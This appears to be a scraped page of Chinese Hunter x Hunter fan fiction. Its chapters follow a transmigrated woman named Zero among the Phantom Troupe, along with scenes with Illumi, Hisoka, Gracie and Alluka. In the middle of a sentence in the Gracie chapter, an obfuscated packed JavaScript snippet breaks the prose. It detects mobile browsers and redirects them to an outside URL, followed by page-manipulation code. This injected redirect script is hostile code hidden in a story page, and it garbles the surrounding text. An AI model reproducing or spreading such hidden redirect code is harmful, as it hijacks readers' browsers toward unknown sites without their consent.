“抱歉了，你现在不能走。”女孩以一种漫不经心的语气说道，她似乎在手上拉扯了什么东西，像是一根线，可能是零什么也看不到，下一秒，无形的丝线缠绕住了她的身体，零一动不动，歪了歪脑袋，似乎有些没反应过来。女孩扯着看不见的线，依旧板着一张脸：“零，不论你是不是零，虽然我的直觉告诉我你确实是本人……我是玛琪，现在，我带你回家。” 零忍不住露出了古怪的眼神。 “家？” “……嗯。” “撒谎。” 她毫不犹豫这么说，并且皱起眉头：“没必要把我绑起来，我需要水，需要休息，带我走就行。” 被揭穿了的不仅是谎言，还有那一点难以启齿的奢望，可是似乎不论是哪个零，都这么的单刀直入，又直截了当，戳破了最外层的假象，清晰地看见内部。于是玛琪松开了线，而零确实没有逃走的打算，这个女孩，她根本没胜算。 穿越到什么科幻世界了？ 很遗憾，零不爱看小说，也不喜欢看动漫，甚至不喜欢打游戏。她最喜欢的事情是躺着不动一整天，又或者是专注写歌，弹奏和演唱，当她做模特的时候，则更加厌世，而摄影师们则最爱拍她冷漠又疏离的眼神，要带点厌恶就更好了。全特么一群啥查抖M。 想不通的事情零不会继续想，于是她稳步跟着玛琪，来到了一座明显比其他地方更干净，更完整的房子面前，周围是一片空闲地带，没有人，也没有垃圾，比起房子主人爱干净，更像是一种威胁。 比在外面挂内有狼犬禁止入内更明显的警告。 不过像自己这种外来者说不定还会抱着侥幸的心态，去寻找一种渺茫的可能性。 玛琪推开门进去，零紧随其后。 一个金发男人大大咧咧叫嚷起来：“玛琪！你不是刚出去吗，东……啊？！零！！” 他话没说完，又变成了一声大叫。 他这一声大叫，所有人都看了过来，零扫了一圈周围，缠裹着绷带的奇怪人，矮个子只露出一只眼睛的奇怪人，长相可爱的黑发女性，像是被切开再缝合起来的男性，另一个像是野人一样的男性，还有一个金发女性，另一名像武士一样的男性正擦着刀。 零沐浴在震惊的目光里，泰然自若地转头看向玛琪。 “水？” 玛琪走到一边箱子里，翻出来一瓶水，递了过去。零没在意是不是下药了，喝下去小半瓶，自己找了个沙发位置坐下，跷了个二郎腿闭目养神。 啧，超过三个人以上的团体，烦。 “不是吧？真的假的？真的是零？” “这种拽得二万八五的态度……太欠揍了，根本就是零！” 于是像野人一样的男人大吼了起来：“零——！！” 零睁开眼，冷而烦躁的眼神刺向他：“吵死了，闭嘴。” 她说了这句话，可对方明显更开心了，大叫着这种目中无人的态度，根本就是零！零没有死！零有点苦恼了，这到底是什么地方，她又成了谁的替身？ 似乎是动静太大，一扇门终于被踹开了，里头走出一个矮个子男孩。 “窝金，吵死了！” 他烦躁不堪的表情在眼神接触到沙发上的零是改变了，下一秒，玛琪和金发男人同样挡住了一把红伞，而零眼睛都没眨一下，似乎是觉得有点无聊，就这么闭上眼睛不再理会了。 “芬克斯，玛琪，让开……” “飞坦，这确实是零。”玛琪知道这并不可能，但直觉这么告诉她，她也相信自己的直觉：“我会把侠客和团长叫回来辨认，在此之前，要审问就交给派克。” 名叫飞坦的男孩……不，听声音应该是男人，只不过是太矮了而已，他的视线阴冷地聚集在零身上，声音也越发的带有浓烈的杀意：“如果她是假的，就把她交给我，我会把她尽可能的切碎。” 所有人都在看零，而她听了这句话，只是连眼皮子都懒得掀开地回敬了一句——滚。 派克诺坦做了两次深呼吸，她上前一步，尽量保持声音的平和，手向零伸去，而零睁开的眼睛清晰倒映出她的面容，派克诺坦终究是将手放在了她的手上。 “你的名字？” “零。” “你从哪里来？” “……” 她脑子里闪过了名字，但派克诺坦听不清。 “你来这里的目的？” “没有。” “……你真的是，零吗？” “为什么这么问，还有假的？” “你认识我吗？” “不认识。” “……这里的所有人你都不认识？” “那个叫玛琪的，刚认识。” 派克诺坦放开了手：“……没有撒谎。” “为什么她不认识我们？” “也有一种可能。”武士男人摸了摸下巴：“她确实是零，名字是零，但是人不是我们的那个零？” “不排除这种可能……” 戴着眼镜的可爱女孩疑惑不解：“为什么要不认识我们呢？认识不是能够彻底伪装吗？” “不认识才更好伪装吧。”飞坦毫不客气。 “不用那么麻烦，直接……” “信长，她身上没有念。” “……切。” “说起来团长和侠客去干嘛了？” “闺蜜谈心吧。” “真恶心！你说这种话！” “……咦。” “小滴，怎么了？” 眼镜女孩指着零说道：“她好像睡着了呢。” 身为普通人，在蜘蛛大本营睡着了？真是越来越……零了。 零毫无在陌生地方应该保持警惕的意识，或许是觉得他们吵来吵去的太烦，又觉得穿越就立刻死掉那穿越的意义是什么，她才直接睡了过去。反正也不能把她杀了。 她睡了个好觉，一觉睡醒人还在沙发上。周围的人却都走了，零揉了揉眼睛，面前是金发的男人和黑发的男人。 “你醒了？”金发娃娃脸的男人笑着开口：“——嗯，听说你不认识我们了，自我介绍一下，我是侠客，他是库洛洛，我们的团长。”翻着书的男人直勾勾盯着她。 零不喜欢这两个人，不知为何，大概也是直觉。 “哦。” “……真是冷淡呢。你知道吗，零小姐，残忍的办法数也数不清，可是用身体抗住的却很有限。”侠客依旧温柔地笑着，眼底却没有半分笑意：“所以，可以告诉我，你到底为什么在这里，为什么……伪装？” 零皱起眉头，认真问他：“你同伴没跟你说？” “指哪部分？” “我是被强行带回来的部分。” “这说不准就是你计划里的一环呢？” “我计划这个做什么？”零觉得更荒谬了：“图你们这里垃圾堆积如山，臭气熏天？还是图你们这什么也没有，简直就是垃圾场？” “幻影旅团。” “……？” “诶，零小姐要说自己不知道幻影旅团是什么吗？” “马戏团？” “……” 侠客的笑容缓缓褪去了。 三个面无表情的人大眼瞪小眼了许久，零觉得匪夷所思：“如果你们觉得我在这里另有企图，刚好，把我送出去。”她正想着离开呢！这里实在是太无聊了，一群无趣的人。她把烦躁写在脸上，侠客望了一眼库洛洛，而库洛洛这才合上了书。 “你想去哪里？” “随便，有国家的地方。” “去那里做什么？” “搞清楚自己是在哪儿，然后生活。” “唔，这么说来，你是不知道自己在哪里呀？”库洛洛认真看着零，她知道这里是流星街，但那完全来源于玛琪，零只是压了压眉头，库洛洛就继续说了下去：“你身上似乎没有钱，也没有证件，出去之后会被当成黑户抓起来的。” 嗯，确实是个问题。 零放空了思绪，逐渐被带跑偏了思维。 “所以要怎么办？” “假证，也是难免的吧？”库洛洛站起身，他走了过来，坐在了零的身侧，而零一时之间没从思绪里挣脱，被握住手时下意识要甩开，可她的手却被紧紧握着，无法逃离：“从……哪里来？应该不是任何一个国家吧，真的没有带证件，凭空出现在这里的吗？你是从……另一个世界来的？” 于是零继续思考，她甚至没注意到，库洛洛的手指在她手掌心里画着圈。 “……大概？” “再好好想想……你来这里之前，在做什么呢？” “吃完午饭准备去睡个午觉。” “这里垃圾很多，对吧？” “嗯。” “流星街，是被抛弃的地方，不能称之为国家。在这里，每天都有很多新鲜的垃圾，垃圾里包括很多东西……铁，食物，还有。孩子。” 零的呼吸乱了一拍，而库洛洛再接再厉。 “零小姐，出生在这里，是否很不幸呢？” 零没注意到他们的距离越来越近，她像是出神地在思考，最后才获得了结论：“人最无法自我选择的年纪是幼年，这里会有很多没有人要的孩子，靠垃圾度日？” “确实如此。” “我真的图你们这垃圾太多？” 库洛洛轻笑一声：“零，欢迎回家。” 零只是看着他的眼睛，利索地回应——撒谎。 另一侧，侠客已经重新恢复了笑容，他的双手搂住零的腰，眼里流淌出重逢的喜悦：“姐姐……我终于，又见到你了！不是撒谎哦，这里就是你家！” 零被左右包夹，在中间思考了一会儿。 “所以，你们要拿我做那个零的替身？还是你们觉得我就是为了做替身而来的？” 侠客蹭了蹭她：“你就是零。姐姐，我好想你啊……” 这种直来直去的，直到有些让人措手不及又无法掩盖情绪的性格，如出一辙的，是零啊。 零敬谢不敏。 但她还没忘记玛琪的身手，只能沉默下来，干脆就当作自己毫无反应。她在这里，到底是为了什么呢？她努力思考，然而，脑力完全不够，她本就因为脾气极差而没有任何家庭愿意收养，整个人就是个炸药桶，比起说话，她更喜欢直接做事，她在这里，能做什么？ “……那个不存在的丝线，玛琪，怎么做到的？” 两个男人一左一右地回应她：“那，让我来教你吧。” 零此刻不用思考也知道，自己好像突然惹上了两个大麻烦，比在这里，更加麻烦。 虽然不是很情愿，但零在这里住了下来。 第一天见面的人，竟然完全都没有再出现，就好像是……特地被清空的房子周围一样。她不止一次地想，自己为什么在这里，只能是越想越烦躁。这两个人，侠客和库洛洛，他们联手帮自己拥有了所谓的念能力，第一次带她去试用，她一拳打碎了整栋房子。 “强化系。” “果然呢，强化系。” 他们心照不宣的目光令人厌恶。 零讨厌被控制，讨厌不受控制，这一点在这里尤为明显。可这两个人，似乎有些太了解她了，就像是知道她脑子不能轻易转过弯，所以总是借着和她聊天的名字抓住她的手的库洛洛，又像是知道她没办法拒绝对自己连续撒娇的人的侠客。 就好像他们真的是多年旧识一样。 不，她没这种记忆，不认识就是不认识。 平静的时光被两个携手而来的女孩打破，其中一个冲过来，盯着她的眼睛看，另一个和自己长得很像，该不会是自己的私生女吧？不对，应该是那位白月光的女儿，自己只不过是个替身才对。 “哟，格蕾西，伊洛林，来玩啊？”侠客打着哈欠从楼上下来，名为格蕾西的少女没好气地翻了个白眼，理都没理他，继续和她对视，而后开口用零熟悉的语言说了个国家名字，这时候零才发现，自己说的好像并非家乡话？她迟钝过头，不过还是用同样的语言回答了格蕾西。 格蕾西面色复杂。 “难以置信……居然是真的。” “嗯，那怎么办？”伊洛林也用同样的语言说话了：“零不能继续留在幻影旅团，否则侠客他们……” “你们两个在交谈什么？”侠客笑嘻嘻地问道，可是那双眼睛里并没有任何温度可言：“呜哇，该不会一回来了，打算把我的姐姐带走吧？” “你清醒一点，零已经死了！” 零望着格蕾西，对方一点面子也没给侠客留：“玩什么替身文学呢？还你的姐姐，这么爱，怎么不殉情？”啊，听起来像是自己会说的话，这孩子和自己投缘。 “我和姐姐的孩子，还需要父亲。” “他们需要我都不需要你！” 零觉得头皮痒痒的。 “什么孩子？” 侠客凑过来讨好地笑道：“我跟姐姐你的孩子，特别可爱，下次带过来给你看看？” 格蕾西一下子把他挤开：“警惕替身文学！” “死蜘蛛，你看清楚，她不是你的零！” 伊洛林此刻才缓缓开口：“侠客，她不是没有记忆，她只是单纯地不认识你们。” “我们来自同一个地方，但她的情况不一样。” “她是……肉身来到的。所以，她不是你们的零，只不过是异世界的同位体。” 这句话说得已经很清楚了。 侠客长长叹气：“我真的，对强化系没辙哦？伊洛林，你以为我们不知道吗。”他摆弄着手机，漫不经心，又像是在笑着对不懂事的后辈解释一下：“但是，那又怎样？同位体，不正是两个世界不同发展的同一个人而已吗？那么，单凭记忆来区分是不是同一个人，会不会太武断了呢？她只要在这里生活，就一定是零哦……你看她的脾气，完全一模一样呢！” 零大概懂了。 这里的零和她只有记忆上的区别，不论是身高体重还是性格与喜好，全部都一模 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格蕾西又用回了本土语：“你来真的？这两个人都不是什么好人，花生米都得吃三斤的那种。” “嗯，来都来了，看来是命运。” 零不信命运，但是无所谓，她就是要说。 伊洛林也没办法说什么，她掏出钱包，掏出厚厚一沓现金放在了零的手掌心了：“不够再问我要。”三个人理所当然地交换了联络方式，零买手机之后就给她们发消息就行了。 格蕾西带着伊洛林离开之后，零便上了二楼，侠客也跟了上去，贴着她进了库洛洛的房间。库洛洛似乎对楼下的动静恍若未闻，侠客却大倒苦水：“把格蕾西交给我对付也太过分了吧，那可比三千只鸭子更难一点！起码把飞坦推出去吧？” “我可是十分相信侠客你的能力哦。”库洛洛合上书本，他深沉的眼眸倒映着两个人的身影：“如果你都不能说服，那靠飞坦也没什么用，更何况，零会做出最好的选择，不是吗？” 零坐在沙发上，这个沙发很舒服，她忍不住半靠在上面。 库洛洛怀念至极地看着那个沙发：“零，为了挑选这个沙发，我可是费了一番功夫，看起来不起眼，但是柔软与舒适度完全是最佳级别的。” 零明白他的意思。 “方便我纵容你在这里跟我zuo？” “诶，好过分，把我排挤在外面了。”侠客也凑过去坐着，两手搂着，笑意盈满了双目，就像是一个正儿八经的清纯男大一般：“我就比较没什么出彩的地方呢，毕竟随便哪个地方都有过了不得的回忆，姐姐不会拒绝我哦。” 零依旧直截了当。 “也就是你们两个仗着对我的了解，利用我对你们的感情，为所欲为，强取豪夺。” 侠客与库洛洛同时沉默了。 真准。 “不对吗？据说我和你们一起长大。” 侠客握住她的手，粗糙指腹捏住脆弱的柔嫩肌肤，她如同顶破地砖的新芽，坚韧不拔又过于脆嫩，一折就断。他叹息似的，缓缓地同她十指交扣：“你不认识我们，你的世界没有我们，姐姐，我会很难过的。你从小，就一直在我身边，我离不开你……所以你能接受吗？” “嗯……那不如说说另一件事好了。” 零不为所动地看向库洛洛。 “我是怎么死的？” 好吧，一如既往地，让人连伪装都装不下去。 零死于西索。 她是个强悍的女人，一直都是，西索希望和她来一场战斗也是无可厚非的。另外，零死了还能帮助他惹怒库洛洛，令格蕾西更加仇恨他，一箭双雕，为何不可呢？她和西索基本算是五五开，而强化系单纯的脑子让她无法思考太多战术，一开始被西索的打法消耗了太多的念力，深厚念力者之间的战斗通常已经精确到每一点念力，西索彻底品尝了零的强大。他也躺了两个月才恢复行动能力，而零，她没能醒来。 她没留下遗言，但是留下了丰厚的遗产，还有一百三十二座孤儿院，她这一生都在致力于全国各地的孤儿院兴建运行，死亡后，自发性的群众点灯悼念甚至能让所有国家都在黑夜里闪着光——如果能在天空上看的话。 她还留下两个孩子。 零死了，他们也什么都没了。 关于后续报复就不提了，总而言之，西索并没有得到什么很好的回应就是了，如果他的目的是让库洛洛因为生气而和他1v1决斗，那么这种事情就根本不会发生。但是糟糕透顶的事情会在他身上不断出现。 零若有所思。 确实不可能是这两个人因为分赃不均，把她大卸八块，称重平分。 零心想，那他俩还怪好的，只不过是一个爱撒娇，一个爱装模作样罢了。侠客解开了她的衣服扣子，她脑海里一闪而过很多个画面，然后不太确定地回过身子，用膝盖顶住了他的胸膛。仅仅这一个动作就足够侠客又惊又喜了。 “姐姐？姐姐你，你记起来了？” “突然有一点不属于我的记忆。”零望向库洛洛：“你还真是会见缝插针啊，那种情况下都下手？” 回应她的是一个堪称无辜的笑容。 零第一次觉得自己不应该坦诚，毕竟回忆起不属于自己的记忆，引发两个人的追问，怎么都觉得有点问题，一个人二十斤花生米，两个人就要四十斤，想清楚记忆里的东西之后零直接拒绝了这两个人的追求。 “我不需要通//缉//犯做男朋友。” 真是如出一辙的回应。 “没关系的，姐姐，我有很多时间可以陪着你，我们可以没有确定关系，但……关系一直在这里。” “哪怕我脚踏两条船？” “不是你的问题，也不是你的错，你只不过是被感情所迷惑了。” “那你可真是爱我。” 爱的是我吗？还是那个零？ 同位体享有共同记忆的话，会变成同一个人吗，人是什么样，是谁，取决于她的记忆吗？她这是什么，继承？活着的人继承死去的遗产，包括她的两个男人？ 如出一辙的零，如出一辙的两个人，那么是同一个人吗？ 像是一个永远不会被论证的伪命题，要怎么解释全凭答题人的思维，根本没有标准答案。 库洛洛甚至懒得回答这个问题。 他的回答理所应当的就是蜘蛛不会松手，除非零死了，那没办法，如果零死了又来了一个零，那么他会把这个替代品更加好地保管起来。 但，没有零与零一样，难以控制。 尤其是拥有记忆，却并不拥有感情的情况下，她总是嘲讽而又轻蔑，认为侠客是在谋取福利，而库洛洛只不过是伪装。她说得确实没错，库洛洛的想法属于第二类，他不认为这是原本的零，但是是复制体一般的存在，百分之八十，不能百分百，聊胜于无。 所以当零要离开流星街时，他们选择了陪同。 时间很长，空闲很多，他们能陪着。零才不在乎他们到底是为了什么，反正能出去就行，她四处走，四处看，游荡在这个世界上，感受自己来到这里的意义。 她逐渐发现其实自己可以做更多事。 比如，她想要继承的其实不是男人，而是一百三十二座孤儿院，他们的资金链应该已经断了，庞大的开销需要新的支撑，新的来源。 于是库洛洛陪着零去考了猎人证，看到她的时候，认识的人基本都不可置信，他们不相信死者复生，不相信世界上有这样的相似的人，除了揍敌客家的那个孩子。零不在乎，她熟练运用了另一个自己的技能，拿到了猎人证，开始做老本行。 资金链重新启动，一百三十二所孤儿院焕发生机。 零想，她来这里不是为了谈对象，也不是为了狗血三角恋，而是为了这些孩子们，是本来的零无法放下的执念，她的愿望，而这也是零自己的愿望。至于库洛洛和侠客，她暂且没时间理会，要是来帮忙，那就帮忙，要是不帮忙，那就爱去哪里去哪里，反正她又不是真的那个零。 零，女，二十七岁。 职业赏金猎人，目标是：养活所有孩子。 87.79 伊尔迷熟悉伊洛林的一切。 他知道她想要的感情到底有多浓烈，他知道她的渴望是什么。他知道她早已深陷泥潭无法自拔。 格蕾西来得太晚了，伊洛林苦苦支撑着的那个念头虽然是她，却也无计可施一般来得太晚了，她没能在最需要的时候伸出手，就证明格蕾西已经比他慢了一步。 没关系，伊尔迷很清楚，只要自己不去触碰伊洛林的核心，她就不会恨自己。如果有一天格蕾西死了呢？她那个性格，死了也很正常吧，那么伊洛林要怎么办呢？她没有办法，她除了复仇也做不了什么，而后她就会想到去死。 自己会全盘接受那样的伊洛林，成为她所剩无几的全部。 说得真像小三等丈夫死呢。 但伊尔迷不介意。 他看着监控里，正在给亚路嘉念故事书的伊洛林，撩开了遮挡面颊的一绺发丝，整张脸露在外头，眼角一颗泪痣点缀，是上辈子落的泪太多，这辈子才有的印记。如果伊洛林不曾有上辈子，伊尔迷有自信把她培养成一位，不谙世事的杀手，她会完全为了揍敌客而付出，为了揍敌客而生活，会为了自己学习新娘课程，也会害羞的确信自己天生就是为了嫁给伊尔迷而存在的。 只可惜，他的伊洛林很不一般。 要是没有格蕾西就好了。他如是想到。 酒吧里，音乐温柔，他托着腮看向夜景，心里还想着明天就要离开的妹妹。变回女性之后，伊洛林的轮廓更柔和，眼睫毛似乎也长了一些，身躯柔韧的同时覆盖上了一层男性状态下不曾有的软肉，她安静乖巧地待在自己怀里的时候，会散发一种甜甜的味道。 西索推了一杯酒给伊尔迷，侧身坐了下来。 “我的猎物，你可不准动哦。”他撩开橘色短发，不知道是换了什么染发膏，还是只是一层轻薄假象，交叠双腿，晃了晃杯子里的冰块，笑容意味深长：“为了你的计划，人家可是不停不停忍耐着呢……” “你本来就没打算这么快跟她决一死战吧。” 伊尔迷没有兜圈子的想法，直来直去，开诚布公。虽然不知道兄妹相残有什么好看的，格蕾西有这样的亲哥也是倒了八辈子霉，不过一想到她会因为西索而死，完成自己的happy ending就非常的愉悦呢。 “她真的是你妹妹吗？” “嗯哼？如假包换哦。”西索饮下一口酒，带着酒液的舌尖润湿了唇面，他借冰凉的酒冲刷滚烫的咽喉，想要压下那份狂热的情感，却觉得越发的干渴：“……他们生她的时候，大概是想要好好培养吧？我看着照片还以为他们很相亲相爱一家人呢~哎呀，到头来格蕾西对他们的想法也是人渣快点死，那个时候就觉得杀掉也好无聊。” “她为什么不能够爱他们呢？呵呵……因为格蕾西是很记仇的，你对她的坏，她会记住一辈子。” “那个孩子真的很棒呢，不愧是我的妹妹，眼神也特别得让人着迷……只需要教一次就会的技巧，自己钻研出来的战斗方式，不管不顾的疯狂，呵呵呵……按我说的话，伊洛林出现得太晚了，格蕾西早就不可控了。她注定，会死哦。” 伊尔迷安静喝着酒。 西索发表自己看法的时候他才懒得插嘴，以免两个人要花费多余的时间来拌嘴。 “你的猎物太多了，西索。” 是小杰，是格蕾西，是自己，又是库洛洛。 “真的是~不好吗？人生这么无聊的话，人家忍不住的话，要怎么办呢？” 西索的手指蹭过杯子边缘，感叹一般，眸色柔软却黏稠。 “我可是很珍惜你的哦。” 要是伊尔迷也能舍命搏斗的话，一定…非常的美味！不过太可惜了，只要自己露出这种念头，比如杀了伊洛林或者是奇犽什么的，伊尔迷大概就会断了跟自己的任何联系吧。和自己不一样，伊尔迷是好哥哥。 伊尔迷纯当西索嘴上跑火车，毕竟就算真的珍惜，也只不过是珍惜他的实力罢了。他喝完剩下的半杯酒，玻璃杯放在桌面上，发出清脆一声响：“我要回去了。” “咦？今晚这么快吗？” “啊。伊洛林明天就要离开了。”伊尔迷不知想到了什么，唇角微微上扬：“我也很珍惜，和她在一起的时间呢。西索，祝你早点杀掉格蕾西，不然伊洛林凑够了杀你的钱，我可是会很苦恼她居然这么帮助你的。” 西索笑出声，笑得浑身发抖。 可爱的小姑娘……天真得可怕。 “真的是揍敌客养出来的孩子吗？强化系真的不太聪明呢。” “她只是比较想当然罢了。” 伊尔迷不再多说什么，转身离开了，留下西索一个人看着夜色，唇角的弧度越来越深，哎呀，做个好哥哥吗？现在应该也来不及了吧？再说了，那并不适合自己地说。 被亲生父母丢在流星街不闻不问，却活下来的格蕾西。 现在在做什么呢？ 格蕾西打了个喷嚏。 鲸鱼岛的风很大，吹拂过面颊时会有一种很清爽的感觉。 奇犽踹了录音机十几脚都没能挽救回磁带，她觉得小杰这个爹不行，神神秘秘的，小杰躺在一边露出了颓废的神情，不行啊不行啊，根本就是没有任何办法的嘛！ “说到底你为什么对自己的父亲这么有期待啊？”格蕾西打了个哈欠，掏出手机和伊洛林聊了两句，伊洛林发了一张合照给格蕾西，特地备注不可以给奇犽看，格蕾西望着这个新哥哥啧啧称奇，长得真像个小姑娘。 “格蕾西好像没提过自己父母的事呢？”小杰突然记起来：“不过你哥哥是西索，也算家人吧？对家里人没有期待吗？呃……在遇上西索之前！” “没有。” 格蕾西懒洋洋回答。 “为什么为什么？” “哪有什么为什么？”格蕾西收起手机，确认了伊洛林的行程之后就不再看了，还觉得小杰说话挺好笑的：“我和伊洛林都不会期待自己的家人。哦，她可能会期待揍敌客吧，但那不算真正的家人。你的父亲只是把你丢给家里人抚养而已，我可是被丢进了流星街。” “生出来却觉得养育不成所以丢掉的父母有什么好值得期待的？” 小杰歪头思考了一会儿。 “……伊洛林不是奇犽的亲兄弟，但是他对奇犽肯定是有所期待的呀。” “哦，她还对伊尔迷有所期待呢。” 小杰瞬间觉得不行。 那个自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15203157|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说自话又自顾自决定奇犽人生的家伙，随口就是让奇犽杀了伊洛林来证明自己的家伙，小杰坚决地讨厌他，但是伊洛林又为什么会喜欢他？还和他……绝对是那家伙强迫的，否则怎么会呢！ 被攻击了一圈的奇犽差点破防。 奇犽强势加入了群聊：“说起来，流星街？是那个不被任何国家承认的地方吗？居然把你丢去那里，怎么感觉跟我爹妈似的？历练你？” 当然不是了。 格蕾西心知肚明。 最开始来到这个世界的时候根本不知道为什么自己在这里，不想思考不想融入，被父母觉得是个傻的，他们想要生出另一个西索，却不想生出自己这样的孩子，于是索性丢掉了打算再生一个。格蕾西不知道他们现在怎么样了，西索倒是轻描淡写和开玩笑一般说着全部都杀掉了哦，但是他也说过自己是受了父母嘱托来照顾自己的……哪句话是真的其实格蕾西自有判断。 毕竟一开始西索就是奔着杀了自己来的，看过自己的态度之后却莫名其妙发生了改变，宣称自己是哥哥拥有抚养权，直截了当地把她从幻影旅团薅走了。 有期待才会失望。 没期待，她只会觉得无所谓。 “……格蕾西，我想问你很久了，你是不是和幻影旅团的人，关系挺好的？”小杰犹豫着开口询问，毕竟在那场陷阱塔的比赛里，酷拉皮卡说出了自己的身世，提到幻影旅团的时候格蕾西的表情明显不太对，她那一刻甚至稍微有一点点地想要对酷拉皮卡做什么，但只是一点点，很快就没有了，因此只是小杰发现了。 “哈？” 格蕾西愣住了，格蕾西露出了夸张地想吐表情。 “一个穿毛领的大背头，一个死矮子，还有一个装嫩的混账东西，一群有毛病的人，你是怎么觉得我会和他们关系好？” “嗯……直觉？” “……” 格蕾西觉得小杰可以把直觉放去找爹了。 不过关系好吗……格蕾西想，大概不完全是因为零，零是她在流星街唯一遇见的善意，但她其实，还蛮觉得，幻影旅团也没那么差。 自己也是吃过一段时间幻影旅团的饭的。 虽然很难吃就是了，还有垃圾食品，面包。 还有发烧的时候被捞过去喂药，侠客说发烧死了的话零会生气的，飞坦说真麻烦，芬克斯哈哈大笑说他们旅团养了只小宠物似的，但是到底格蕾西还是吃了他们的药。就像睡在那个角落，是她为数不多的，不需要戒备危险的时候。 她抚上自己的肚子。 那里有一条很长的疤痕。 她还记得那个时候的疼痛，濒死的冰冷，她躺在幻影旅团的势力范围内，追击的人潜伏着，犹豫着，而她也一动不动地积攒体力准备自救，却突然听见一声惨叫。 飞坦拎着沾血的伞一步步走来，踏着黏稠的血，居高临下地看着自己。 “废物，这种东西都能差点杀了你。” “……滚。” 格蕾西懒得跟他吵架，她不喜欢飞坦说话的方式，但最后她还是被飞坦抱回去治疗了。 她对幻影旅团，没那么爱，也没那么恨就是了。 小杰，你太敏锐了。 88.80 亚路嘉从很久之前就知道一件事。 那就是——伊洛林不是这个世界的人。 她的灵魂在这个世界上行走的时候，和所有人都不一样，她像是异类，在这个世界里彷徨而无助，他看得见她的眼泪，看得见她的迷茫。 她和你来自同一个地方吗？ 亚路嘉这样询问道，拿尼加摇摇头，他们的手重叠，贴在玻璃窗户上，望着庭院里追逐着彼此的两个孩子，愣愣地出神。他也想这样无拘无束地玩耍，可是身体总是没那么好，他连抗毒训练都坚持不下去，是令人失望的孩子。 可是伊洛林抬头看见他，拉着奇犽说了两句什么，奇犽便抬头看过来。 他们三个又能在庭院里重逢。 他的话语无人在意，伊洛林说话更是不被重视，只有奇犽，他开口说话时，所有人都在倾听。这不是奇犽的错，也不是他们有问题，而是这个家庭并不寻常。 伊洛林很少笑，她几乎不笑。 用她来称呼，是因为亚路嘉看得见，虽然是男性的身躯，可灵魂里生活着的，却是一位女孩。 亚路嘉心想，她是不是有很多不开心呢？她是不是，也想要出去呢？他曾不止一次的看见伊洛林望着天空出神的样子，不止一次望见她的眼睛，没有半点融入的迹象，只是像旁观者，沉默且无奈地接受着，她的呼吸都铭刻着疼痛，像在刻意的去回避想起，就能够变得好一些。 他拉着她的手，像隔着一个世界。 难道他们都没发现吗？亚路嘉尚且不能思考那么多，可是他想要，攻击或许可以让伊洛林开心一些。 许愿吧。拿尼加说，许一个愿望，他们都会——人类都会因此而开心的。于是亚路嘉不痛不痒地说了几个要求，满怀期待地想要满足伊洛林的愿望，但是她，没有愿望。 不对，不对，不是这样的！ 伊洛林心里明明还有很多想法的，她只是从来不愿意说出口，不愿意给任何人看。 什么给奇犽哥一盒巧克力，什么给亚路嘉一包薯片。 为什么都是别人的？你的愿望呢……伊洛林，你的愿望就不需要实现了吗？ 亚路嘉心情沉重，拿尼加也闷闷不乐。 对吧，拿尼加，伊洛林的快乐，是需要我们的。 对的，亚路嘉，伊洛林的快乐，是需要我们的。 哪怕代价是，被遗忘吗？ 亚路嘉还小时，他并不能够完全理解分别的含义，他只记得和奇犽在一起的每一天都很高兴，他记得伊洛林总是独自一人，总是会答应他们的任何请求，总是在沉默地照顾着他们，只有这个时候伊洛林才像是活着。他看见大哥的身影，像是影子，长长的黑发垂落下来，他跟着伊洛林，目光浓烈而黑沉，害怕……是拿尼加也在害怕。 伊洛林呢，她会不会也害怕呢？ 于是哪怕是被遗忘，亚路嘉也想要实现伊洛林真正的愿望。 可是不一样，伊洛林并没有忘记他，她甚至冲着自己缓缓笑了，那一刻亚路嘉是庆幸的吧，自己没有被忘记，伊洛林也没有变成其他的模样，她的眼睛不再看着外面，而是停留在了家里。真好…… 拿尼加，你会高兴吗？ 拿尼加，你为什么要哭呢？ 那一天拿尼加哭了好久好久，亚路嘉不懂它，但是他知道，拿尼加是为了伊洛林而哭的。 他本以为自己可以陪着伊洛林的，可是他被关了起来，因为拿尼加，他们想要拿尼加，想要它的力量，想要驯服它，想要它为己所用。可是拿尼加不喜欢。它讨厌黑色的人心，所以会让亚路嘉去随性的许愿，亚路嘉想，那些代价肯定很大，他想要手指，想要十二指肠，想要心脏，也想要一条命，这样才能够承担得起上一轮许愿的愿望。 毕竟他们是等价交换嘛。 拿尼加说过了，人体，人命，人身上的一切，都可以用来交易。 亚路嘉并不在乎那些人的命，他太小，无法理解，他在揍敌客家生活着，舍命诚可贵是什么东西？他根本不清楚，人命是计量单位，人命不值一提，蝼蚁应该在脚下，连死亡都显得有些趣味性了。 他抱着娃娃，睡在孤独一人的房间里。 没关系的，拿尼加，就当这是一场游戏，我们藏起来，哥哥和伊洛林，一定会找到我们的，对不对？到那个时候，我一定要问哥哥，有没有照顾好伊洛林，也要问伊洛林，会不会开心呢！拿尼加……我们会等到的哦。 他安静地睡去，安静的醒来，安静的自己一个人生活。 亚路嘉收到了一封信，信上说，伊洛林想要恢复记忆。亚路嘉不懂，这样高兴地笑着不好吗？融入家庭不好吗？为什么想要恢复记忆呢？他思来想去，不太明白，可是伊洛林会难过，会哭泣，所以亚路嘉不愿意。 他尝试着送出去的礼物只成功了一半。 家人在乎奇犽的事情更多一些，而伊洛林的事情仿佛就能够从简了，伊洛林还是那么贴心，送了回礼，还拍了照片，他望着越发明媚动人的妹妹，忍不住嘿嘿笑，将脸凑上去贴一贴，仿佛能够感受到曾经的温度。 会温柔望着自己的伊洛林。 会照顾自己的伊洛林。 不论自己做什么都会陪着的伊洛林……喜欢，他和奇犽一样，喜欢伊洛林。 只是亚路嘉没想到，很快他就迎来了伊洛林的第二封信。 要答应吗？拿尼加。 答应吧，亚路嘉。 因为伊洛林提了两次这个想法，如果她不愿意，又怎么会呢？他们是哥哥，哥哥就是要满足妹妹的，妹妹的想法，妹妹的心愿，哪怕他们这么长久地不见面，他们也清楚，伊洛林是伊洛林，是他们的伊洛林。 他被警告过，如果对伊洛林提出一次过分的请求，他们将不再给予这样的机会。 